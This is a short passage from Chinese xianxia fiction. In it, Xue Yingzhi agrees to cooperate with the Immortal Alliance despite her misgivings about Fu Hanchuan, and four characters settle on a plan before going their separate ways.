薛盈之看了谢济微一眼,见她没有拒绝,便也答应了。她虽因破厄仙君之故,对傅寒川颇有意见,但也知道这事非同小可,还需配合仙盟。 于是四人简单商议好,便就此分别了。傅寒川和闫明楼各有各的居所,而谢济微和薛盈之相伴走过一段路,也各自回去了。